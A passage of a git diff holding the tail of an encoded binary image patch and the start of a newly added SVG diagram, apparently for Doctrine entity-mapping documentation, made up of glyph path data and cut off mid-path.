zBqSR{CgCWT|5FXm?#m}aY<%3zPR5Z>-gCAkWhJ6M-$zfwqW`A41Zn6gD>0)5cbZMD
zl0)IYoZvjN{hikOn?n>q%VS5#aM%CkVltq-EdRNi3ADJspQ>2%hf5h{t0`)&2E`}x
z;G@wK_mb$_iriMt#pgR*d_EO{9AgdwH~Ev(U>!x18m6#28*<60G}M5iXtQuf3y}J_
ztrmPGJb|w~1DZUE5*mSc1e<@ebvOZmW&4}6c+)nNv}GT`w9+z0I}%?kj;`~stR!uH
z(Sx>)-}9{9Wj)=!mxgdG&$T<=p`!TeK|Lb~1GGWDbEPb$dyAhVx>lg$RCF{GEO>Qz
zNF4m^$Fl1zZ{Bk7EPZ%LjJ`KJiPW{KQuug;mH#I9D-IY7Kgkf_`!(2Ir>X>}mnG~E
zCu4?j8U+?{rk?J1qT>thFOtH1{Nr<Tyxbw_!Wxp~8McENW2{qXdRD~OP^>^dL7H>3
zuDFD8_<R{>uPZ{%`jzLk+39VeKaz=awG*>e5J-Jm;tbBpo>3~>gFlru;5{7WItK$A
zC8j#}PeFZ1lO)cY&eidLiH@P%#Hq>>?3aMr1V78oRsTi=bX~l59plqGMYKp9lk}p+
zmn))c^?UNKrmK6BI3`KX5ozLC4DflGIj#vPQLY~&c*=B^GO4cwp37()7z$CyIlVLa
zZRTDY3@9*vo$Dj`(U2&=qtU>a@CsPNw@7y>Uw|Yg%<hT3+|a2%lc1L^E;J9u#7~ep
zdn9hxti=!_$+D|n_^z6B`Vf#S=OX=iZhcz#Z1$()1LXqN#X!qX-?8xz$-TE}`?@^m
zDDGI3@Q+UJCR@2dT^uXP%XHkX(9I4_MM&7f;0llQvQ6(q$(eUNl|sRwb@i;r2gNK~
z6zQ1Nv)_e(KCK{`tAkeLvpfk12&}UMiI-niBMsugzeUp=n8f=s+Ql$I#!UIYSe@m5
z;SbHQU0<9r)Wh9j=E-<R)Wg++XqilF5oP3GY66TF*Ki3~7HQ<Eqik-|xq$D`h?)3T
zr-IwNDB1c41H$$sgNa=x;m6?*bvUbjx2DR5^@r*)e4?opY!~OCZ-T$XJ7@bg5IT+1
ze+K2iMWLD>PUxpp5i?P>>tNXo)P%l-4v-J{g_aYB$<nnRmM{<#$Ned#D-@wu*@>Xt
zrzPmZ2Hw?1c_2(da6al;2<eDt{`~4dWNQX6p42%vFnB<jqI^#M;Q&9fvoiK?IqgR(
z`p1yZT+~>by88O21Lk%5oM9I{-)cS1oyx<IRn|^v8I)mWbFAX(#I|5hFtB1Dpjs*1
zumN2jxl%pVJVyXTE!{SQ8cPHQO~-xR5La<MSLb}cpq{&};_EMBZ(By<X0d($$s(?<
zG5bYfU@IAKLlci`e0~8?c0{9tV1quZAGDp&g1|sS#8-Ke7WzoiBqZ@!_r(et@dX7y
z&8fKDo$%1WNy+VFaR9ykyl)yQ{v8Yv!Fl3J6B_^nM-L8;W&;&+j(}r>qnvG2Wgd3X
zqerEig-V|)Z~@tin(mx&FOeb|;9oi8j>qR7O2LmIt0<wHnYjpQCTYOnNqA}=N;lvI
zVIzY5crzX@ZjwnsAW5s`N$Z29+p*}&<!X4WVQ9t?_dB#@G(MC#-V6GTT;xS~)u`9n
z<TF(B64FdjLg9adbG*HMeG5RXA>ah~0ftUtKOit9I0Rm-Qeu*@KGu#wGtQah)`jh-
z7l92Gr}_7b_V&(j4TXxwO;f+8$49>v#vTqzMnOTsoO>h$1f=^wS9G>!*!wCRmW_##
zK_g-;*;aXdiEqfabY>lqTYxX1cirykTxN1R?AdQU_U78nT0D;y8y#+rejT;nHM03P
zsDc*!7aN~`9lfo0SgG+(b<A#YKXP4#0{YFkJk~ch^1`Uq+~UB<pQ()<gAz??BKH9I
zQEeHGamTqP(hnR<khDHGT68gXi*?`G?|}#KF#cmjQc=+=8I?YewUcv7-L3imFbEGr
zwK9OtSMtBdP~#{-RtII^2Hmh=S0g5nQE|POAoflppuG8+lG6C~>*T){uPVbP*Zsex
zW_@vFZ{2q(eM#R&^4#0*A#(yfPFL5uBH}5;1FjF}?Pe<#-@Pj>DcL_bkPeN^wVxZ7
zoRNW_NHDbZz>p%UIqJft7-U}WL}lsOK}0N&kKGq_Yx<3cyGVf=7O#*sw|d@{EZz8H
zr0NH3%66!ia2AB3fcp*N#65RXQIgn{Re0)ZBbiY(!+vPczZ<#di4Ks$&PC=Wfv4bL
zgI1;PzEq1O?1+I7b@}V->py(>@T0J>>QhI+-XvW)3ndc6ymT;m1t18QK{Yp>u)%F-
z)TrI>?)qr4wzjsctgN}Yc|1gF7%>~W7zgZ^;TFzJn}z+M3HB9(OJxLMWv8X>p8IRR
ze(SOlHQZ-Q)&EB9bL!X`TyNG<9J^g@uE0Sf|HEXdC{-Z;n$qF@ltmf814DUf4(?i8
zQJ7N;gjSng2pcTI3w!5Nuh=qf9yS}-N%k)cb;hj_y(J#!&hDm?ATcpbcJ4z$J#zP9
z9FL*Hs3=y&7itM?>o@QxsbE-HLo7ULK4e8oP!AS|8H<ghW89UrrlzKbhK8yt#v|O<
z5aCN}2V~>FoSvBEB5(t~kGE$RJ7X0U6(;tC#Kh5jVl*@%-Q4TGiPK`^2v^9)v1#OU
zXi~;-Xh7=>PU%%<OA`w=ey#e&IU;1Q$lM4S%Tt#)lqI83EY|n6*$ig&r+GcxDmvSR
zYn|dSE_;+hDrCD5X1-+(cM2;n2DlhJ+zVlg#Svktf#^d_i<j*#LlR_Mm<)8>E|ns6
zYYHGK90@#RzPpw!Ir1Z!3>YeWept@Xdk~KNpDg5@W5{?K5@}mFjNe;z(6TIAKMoY(
zcaIyzHwt*5LR6jyB2RTqO;8jO7)Jr4Iv+v}^#UWQ?oKdcQHES?4&XXCH~@h_9v&WH
zVPR+ZlIZGYvm_*J>>2^ud*fq`QHNVX%$$W>IZ7<^a2a{|5Te_=hecsQ*xuAXm+l|w
z0^e~gPbcC~$`d5y4QD`=@lPrCcb5IXuM3LYvGv9+xIbRZ-xPiJz}FksGB**Jko{N8
zdMsw4(ScysvCDUu<G(UXJ2HHe@#ykF;*=e>wn$)7oH1MQn{L0!;u9@m-52xVDm!3q
z#?lfn>IgM(-BBbAyUS)6IiTY{Nv+wKsnB2BK2A(afE%H)3^Qh>VP?A>@8fOzPCcH5
z+?ot_UX+wVizEkhIM`FH>47Za^tcW`NMc~!U~yZqu&@x4N`yjy442mU$O(Ts=Yr6o
z=Amg6(g<*>5P$LS+pEFdr7;BvSzBe4JkU$y*3RhY+;`A7J|k})AG5NIwAl?NJ;$qf
zDs8HVA&Qu{lH5RQGsxch(u3vHD2peFn5z3iecR$MN4*ZugL}S3{>OIzu7x9#+2gt2
zajj?vvhSqt3}!3lTP?Sm@s+Uf{U_{eEY_!dJx@G*0#7n%xlAVD8L`(Z`U38@W-qKF
z*|Ye}df?9*hQLmS4Squl)5=Jhxn7-8QEU+a+nu7T7JjF>HjAk!X(U)S=8rP6Cg3%Q
zElOQ*g3_O;zgh7@`UJ8N>Tz!nF&*2gXDAjhn8>&R@&PLoPNug92i}G2a=g2uXKD)f
z<kFfA*|;?l6Q^4|0SnrTbqyLPlQ00q!g;>X9%SdXQKcJ%k~+I!qPV~+`+k4MBEUV4
z%vY!P3xe|VSA2?qi=1L-?h*wQ!BJ$eo6H#b{}vui=Gqr=+=iU^&MgS%>b^jrtK-$<
zr;(=wiP(u6x)CsHXWKV6H9y&>PnckHNOgAlKRp>OE#-lIiYf|T481Nxn~J^MOBK`E
zSoPJ(-tzVOxi4P-<E5|>3%DQtyR<YhKR>m|zzDM0{0J-adjr0THeZw`4tMsfIYT*%
zQjAik?de@#gA1ccR|qx4nU#_B?dlaT-c7~>L`&3Booee--i}*+)vW;|(oV8zqxGlM
zpuh=1r(pgWIhINs$}JJE9RWuqc(@Nm<jf${WZftHw62P%3Khzj)j-5W!0p3C=2;!a
zH1Wak0lu?r3wnYkc^=JOU&V*Ws11!I@oWseA!gt=E=2hJ+wL&W0EmP+<9A8OzRKU&
z7+D^M+i6d^2?Yd5tA@HJOpd!+Yf<8aq*r|ZPR`0nZc`RV%;ITj^(!M)ssJGY+^zq(
z(CDw@a~Hum6Qml!=ngH3q-h`bWsr#^WN`k}i%*(C^G2Zj>zRatf&yh0B$S1+H#~S5
zY2-Sl0AB;d2u~3TeJDiO+*1P~-kRWwd)T9%+4Z$!iTjpQ>jI%T&a09VF#n*BMJXLF
z8H$Bm5XIHgZ|YZb#gGNLrQ|Ka+@>aS=4X_#l=$&3iyuHuSL;eT*Kv}$45TM-;rTS0
zWr7%c!D((r4LhOqi?nfLcn-U(i<<iI=&0tslrln#0;|+qnkiW)04((%yXu0Wj0r`?
zVe}Y+_n-C67$o(_8|W=kI13TL1&bcL*9w}zBJx$x_+D;21Orxu65H`46doH%*qW{p
z$vDLrNQ;CcN8yIz3g3xRQnQ96n!4A67Zivc<fVwVkNif^Rf0dv`#uRSUsvjMqi-7r
zhHejJXJ8-VkU7R1b}A69D%+VPR=q$u&nKZ?XnG!2DUJzZ0+I0_%3<ir80N>sqkvrj
z%a`OkOg5_(hYt{QIeljx%z)D_&+He6TXp2h8vnjZyaPI3y`{IIg~<6BFw3SaG)e5T
zjcA6xss2DhOq`KPq=IGSZ0k!v^$wPAAd;VAy4}pnh|Hloma-Me9W<W!O-kw{yIOsn
zxc5vcK}jJKxv85bcmw2-rT5%ZOkR-zbMD?q@F)2QS0T)tM6!AV00t4tFG$M+k}0^K
z>#0GYh&R#$8i0Jn?M+aYXwa&8nNvWdTI7eQDFJLHJXWW<d1+$^W$o*Qh`%i-CD~Tn
zqV>iOC{%BZ;c?r#FkG(5+QLw^a}mq}h`^}{3Z~2utOO$_Y*_qcEAu~?48Vy8eBs3d
zb57Pb)L^AIZvMR<?QCF+<R|%;r->=uwR3tLWDehoWZ*0j0jso){L3o`1KS337)4P-
z@Q<V}J<4NTHc+0u^d3?vjTbZ%4E6nia5W33S}>fAl`oNk^|}5%s2>?Mj;WZ^`{aY;
zxIhpmaJ@}xod`lCu^O+!32r43aJoL6^13aexuDP;PVpOgvkab3P(TYmek<<TUA_73
zgD$seHX?(>fNpgETN#iJJj#2qt8d@JJuvLZ6_MfJ!WSDd$S*RP4$(Gxl_}z9H~{Qi
z1<TBKzFQX2t7}2^;m=X}QJ^T}aFaM|*T<R@J{JM1e`UIXGOOJh%I5{EX><Z6%fb!2
z2(M1#g65Q5pRz>6(Ya&pk*$c2p9DUZ!k^tbJ9n14MrJJy0IO(V36~vQA2S^Pg!D$g
z4XH7-j_yt|d6}LQ4z|y4ygTZ)A%_t`212D;v^E`;8>Vzlm{!n5Vv5zB%w@;I9><2&
zdW0nqvf<ImTB5hN3A)==HEOS`t%tjSbO!&v#`X$)rBjuW5gU+~JEN$6Bg6kDHb-`Z
zzs5!uMj=$58GHX{0t!!VUmz$5lP=hU6)WlnRZmZG5_H&9^P5^!fQAPd6_$(O&SyL~
z;LEdw1bn`VcP4Ytc(94^XdKBEn#}&3ViKL^cvdW9V`R7zBaAje4Jmp+5Yi=bzx2u8
zF}MHqyQqq6yZ2!>u7o}B(CqEYjdkIk0r)6b8`MD5HZQ55NW4xaaFg4pY+>AR)F8^P
ztqivH9kL$;CvVFuyz%st{Hnt++<`z;+?y_5(?3Y5!nbvzpJ7=xBR>VCwS6Y<B&aP4
zL+1v<j`k>^^~RGYW+$Nmz0>d#{tDAdVNlryqaLaiJO1Fs>B6o@%t8!BJZotcF|r!|
zNC&V9Qcp&n*ruUktFEgH;-US)G)^hu1CZ<S34TRq946B3;%)&YLvHBmrx%AwM0F5x
z6kH)fEGYWpj4lY24j4tSK-BFwDemP0>QZ(NsH?r)h1QsTR@D<!TPTsVg!)jwnRl^V
z-%S+qxx=asF@e!^;_=PezU9D3{;d=U(OM`2ogZi>;l%N4&rQ3w-Z&163~w!JylLp>
z`nvJd3*ti`ii@QIxj`OW6L02F`D~Vry@T8r@h&r?KC#|88csGh5m{Y-Tp@SYf&wDp
zZz*xTL|Xv!PFP=QV71VL0wv(=Pl{Er_qaW044Htvqq!gVL4LIoe{64a2uuv%lDux|
zT<ddHbrJIHgApt+M;O@%r}uv#1oP8TaEk91zQPzy4l)@G77?syvI!-^dT?W3M@R#p
zBq-;bqjCc`EwFM#>$()M&syHP{dgm2DS<;h-2UZoSWdj^Ux)MY;b9hO36(nh<uNU1
zU2bv<7ME{Cy>TyTzD({UJk`3&mwea?Ngo9N4O|~-a?46W_1h(ogom;e7Zy$dXkL20
zfa^)#TF%7wQ367VRuME|L2uWdz;}!^R?nlsWOsgi+{@!?9m=5egSiG2H05__p<%Ra
z5wC&0?5kX&5r1m&C(|I2@?a^Kg;vjp5>ciB>QNjk9e?Un*bCq4)C7``v^k+FNw3#N
zf|P*T$M+tGy1QhnTahi1B=FJH`S7aTR5CG)Y*^H3^^C9bZlIK~k+dT!)t(=H+qm29
zX~g-Dx_rO7*X(AD3n+6wU+Zx&yYeLH`7*8dUXJHvH~Qb-W4882x7o_b3*b+9oXz4m
z68J)d3fF*fIZfD9%Z3Sfho--r=J%1!c3jzrQ=-;*AEdh~oe3#HygB|y#_O)z_kHC>
z(AK{1Sd>08^6lJW$Xf^)$_OwImSOdlCoWc#Pke_aMkcKf{~EmQW98Q8PNVA`*j49_
zy)D+H9F~Al2v1--9f3=UhZ?!Fv3Bg}XjxX4f4IFLTpcdsFA+>a9SuiN1F5scd&~X}
zj7;`kpYpY<b8J{wTk#WClTwma{P`-BROr9mztFy+Rz}B4feQ+e!q((uWfc*De}ST`
z`co2~{%$Xk*af&TvfV0Mk{=<$`Z%S6so|8$dcsbe2q2jqOvyuOg0<#}tO=CDfC4E+
zAfa#!x40Cj^pcc+&@)v(K;qu(pAHnLpyj^eg5nhy?Ob+8Y>o*;&WcgS0&q0|*jd7G
zIE{GcRZu7#dDJ)=r8WST2)ob^FQ$~i&>W^I_V4w)ubR?&)znYIqOpp^t8@SgeI#8@
zBsvrhis=kNhtenhP~HAY_mx&oMIIS>=^NP3aVqZmKjgfkkr$r!vm!3#xG|y3R~PI}
zIFqj~5Tt|<CH6N$lK!fc?muCx{|sZOP2#JC97w<{WQI#M$ASfchRlTuUEu@J6<UdP
zLWvrRo=^~%l^Z1pNCx|*XvTR)zs}Pfun}4bs6R_4(Lnd`6poGA$*Bq9Fr*NESM7%?
z*f#fS&`C|1C@B@a3W4=i2y=ONYP>Ov2ea`J{R2242jq-cTy>j2fu_$Bs_$Vax`JsP
zq8c4Y5hTZc9owp``;<2cZ$hOwl=s>N_G=gUf9@YMnRoL}F>E9+;3Q#RtIBr&{f+nf
zcgb3Atc~QW(F7xg@Q1yc5IcyG&6@p(jc5h>D@GS1C$3+|l7g`dPX$r<a?1(>$Z8#_
z_5u@3-mCv$4@+1f%jTNEp3CJ4fpu|<Ni6}R(s|q_l_c!da|TC!l!0w5_<ekZg-<NQ
zQS2#<atUwU$*+v?ctP4ButpV@CDziJM6e+<h@ADwUXh6N3TnC-cn4`E8JMh71exnq
zUL}u915+_BQ2C2f!z<;s5pn!kufux7D7f`L+|AArfbr(HyrJYP|GJ+M3G3e76z0ZZ
zJ`MgY&+Cvcl&}_$NJ!b9O&YI#FsAMPH#hFQ(wj5uJ-LkhYN4SKbZk+tLgD*wpzvt^
z`t(=xNCy;8zedb#fL9T9GLG}t%e;y$sz7S-l~Z0WSogeK(E3~LFR#3L?pk*-!G?{O
zhw%~L7q@)p1LNV(j%a(m*DFUMu<j)o5dVJ`;@><3CMG71kFBuNZ5P+BnOs)M-HoGs
zrEceK^cRn^;%8dx4DVqJv<1HpJM1fqi;J+^)nVb`^mKGvo15RhefyxT{WT@Q>$5sc
ztaw56vM@o>hoyp-qp_{k^;h@zQS~|7qO2u%PL2-kNy*5hrC>)`l9<@6d+H+iv#G~z
zU)3^=LFV9%OQZft9}62BHqWOPAH)c;&^3DC)Ye1G0XC8@E?miA-ZR0e^;c~O{AWJM
z(Gp$ASo-R)T_0`jl$@NLj0{w|U|61x_|(j~!y*l8_owAQe=y#KR#$T}V#BTkBhbMU
zt7~b=CL_CNyjsS{D||;ncq$67sMO{46H-#ZL_{byK~?b)b6L|2zdXxS)3bMkP*MOn
zx6IeshWOlcgZ8xcXrzZnxiWBUl<z>~@$x?qHm&_BC&90i!~Zipegb%NqFz<9$>7#j
z5h*lEw$q!745s!B4eB2wOsC%si7D@+IKFo%sLcH(Oe6JtS{@jf=;@&o5qaDiN^NRt
zDl9CN`5>V`X=qe@^(xpGqgN9-i4#4#Yr)3)2FAm~`%zphFE8)w;{)4l9nEUl?l1D(
ziZY#d+(2t%@Ly+Hv6Iq+ZaR0Z!BRoMG#exVzkn)*R#FccegEoh|JNECh(UrjfX2hH
zurMMbqMDkT_V#uF03hsnXur~Kl*&%F_{(Xr{ok*ng@6zpgY7Gif=|P2-fP#_M;%Aw
zc@D698i?q`ARADc{D%*C%0$NFP(`#7oV@8_k_Gi>36@v8(H4W$->HN{V2Um&VTA3{
zP*DLYLryh#1q1@mFZV)_FrAiu`y4-p74*fyl0oNnTpz8}?Nt5qy<UGJtNPcHj`n<S
z_Ywp|iYFEI+&*jyd~RZ=q4}AYXJc!N+7%3iN}OUMGf?Kkv8}?wTaRyGWtb(agFeD6
z6_AaN7Zi@YI%5XQ-mZa#2;l^V&aCwH_4W43!K5cED=R0ry*-kd%5L=5_j<Tgvsg7t
z(B<48sYy;sYW;F=ih$klcfeCK4Ci0JeuV*KF1)yy!IX%Oo<2AX@&#HR<R+a<AK_l~
zAD$quc!J}u$k(EV&cB3!p&ALgWWC+pAS5JdV`Cee(w{$nmX^Y{g<plh#N_jE?VuiN
za3b8#_xpCa&DR+J{QP`>f1eRGAO1J}{lkNF2qZGvm}-@JYio<Q+vI1KX#E7t>;A82
z$|MBTs`LpPf~bZg6extfk>6C?ceTO|Ll+hny1Ql6)J|ZTMplt*4}<ug|3#FQF|&_D
zMkO>a_NIyx-V&0KgqRBo3y0uRn&QYHq^GBIvQkQ-m3W!r#`Ca!hdEDgAk0bbhUOx-
zYDGz;n2*CFU(_g=mG%b5N=O^SR@AWf1tFw@f`SkVU0vO@^mLQH_!~L$-#vqagQKGu
zp>WN>G&~3{)DNJIAoBr^J-AHBQ>yRPE5rOO@YT-(`|G1;qTzngn$5<^5)THH;6UF{
z@<e|55<)`N51>T~2nfhU)?E-45jkB>1L|~cz*(aH7G-2arbkm(lTd|i>aB(+C`0+M
zi9x&&m_I)_%sVPVu2+5a=-C@`2LCRRjYYwKX^a!Yp)k!`<E}~|yFx}pTM@Cw;Ld@E
zS2fKWZHY+1G;8cj7~udZ2)qWXDL#}42M=_Pk}pXa9aD6|UJ>*k#hkC6eg`1CT7m2=
z?C~mz5F%q-%rmii6y1)Riil0P2j4X6PK5+g-G3{-&N}OIOL39NlpuA|T-|YuI9v$2
zb8Bcb)ws>OSN1Vq*~c8MPkCjZ6L(QMjudME@Z(7kSqU1HBu9=VlyKkze+E~Ah><Ty
z=?X7-1=s>rcwCQrYJ&8sU=P=KN*1U%vcKA{5Y?hr9I5dWy|Axquq>G&;N(QK-(vG)
zYZ5LNd?%s;ez2B+j+c!nY`%h%g)n39lEO5K31D}Hlg9w5^)sucT*M3Zw*@2Q3mKM}
z5!bK!he&r6!we`i1}+(lOr);AWEBqW_|5t9MJv!UM4?6cl>>4ZHi+Z#+s?(KCCF?f
z$wpvDa}>J~Uo^&Te!cqWKonSmXS!9JhW{BCCPZtW*U9+2H?%SGKau|D*l=LXJSst_
zY+(=mM<6VaeGMPBVo@BhVZp>JTGT<$bg%v|6;eF?YH0s8%-y1bMH53LxC^jw`2RM1
zRDz9g$^lUOSqOXRzlIV+(yt+i0Db*yobW#lZ&R^u17#okbwXl(SHQtOin6LQl~TsR
F{|8|kV4DB{

diff --git a/_images/doctrine/mapping_single_entity.svg b/_images/doctrine/mapping_single_entity.svg
new file mode 100644
index 00000000000..5d517c85fb1
--- /dev/null
+++ b/_images/doctrine/mapping_single_entity.svg
@@ -0,0 +1,469 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="681pt" height="170pt" viewBox="0 0 681 170" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 